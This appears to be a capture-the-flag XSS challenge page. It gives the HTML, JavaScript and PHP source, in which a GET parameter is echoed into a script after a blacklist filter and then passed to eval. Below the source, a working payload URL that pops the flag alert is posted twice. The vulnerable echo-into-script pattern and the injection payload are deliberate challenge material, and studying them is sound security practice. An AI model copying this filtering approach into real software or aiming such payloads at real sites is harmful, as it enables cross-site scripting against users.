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| <body> | |
| can you alert "flag"? <br> | |
| <pre> | |
| source code: https://gist.github.com/leveryd/40fcaed60727b6163b034145e332640f | |
| </pre> | |
| <script> | |
| function hello(a, b, c){ | |
| if(a=="a" && b=="b" && c=="c"){ | |
| alert("flag"); | |
| } | |
| } | |
| var test ={ | |
| "a":function a(e){ | |
| try{ | |
| eval(this.call + ".test") | |
| } catch(e){ | |
| console.log("bad") | |
| } | |
| } | |
| } | |
| <?php | |
| $a = $_GET["a"]; | |
| $a = str_replace("=", "",$a); | |
| $a = str_replace("(", "",$a); | |
| $a = str_replace(")", "",$a); | |
| $a = str_replace("`", "",$a); | |
| $a = str_replace("\\", "",$a); | |
| $a = str_replace("/", "",$a); | |
| $a = str_replace("[", "",$a); | |
| $a = str_replace("]", "",$a); | |
| $a = str_replace("<", "<",$a); | |
| $a = str_replace(">", ">",$a); | |
| echo "var a='$a'"; | |
| ?> | |
| </script> | |
| </body> |
https://04bdb3a0.o53.xyz/a1e60ae3-4bac-4012-a0f3-5b7018677979.php?a=a%27%2b{call:%22%27%22%2bdocument.location.hash,toString:test.a};%27a#';hello('a','b','c');//题目很有意思👍
😄
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https://04bdb3a0.o53.xyz/a1e60ae3-4bac-4012-a0f3-5b7018677979.php?a=a%27%2b{call:%22%27%22%2bdocument.location.hash,toString:test.a};%27a#';hello('a','b','c');//题目很有意思👍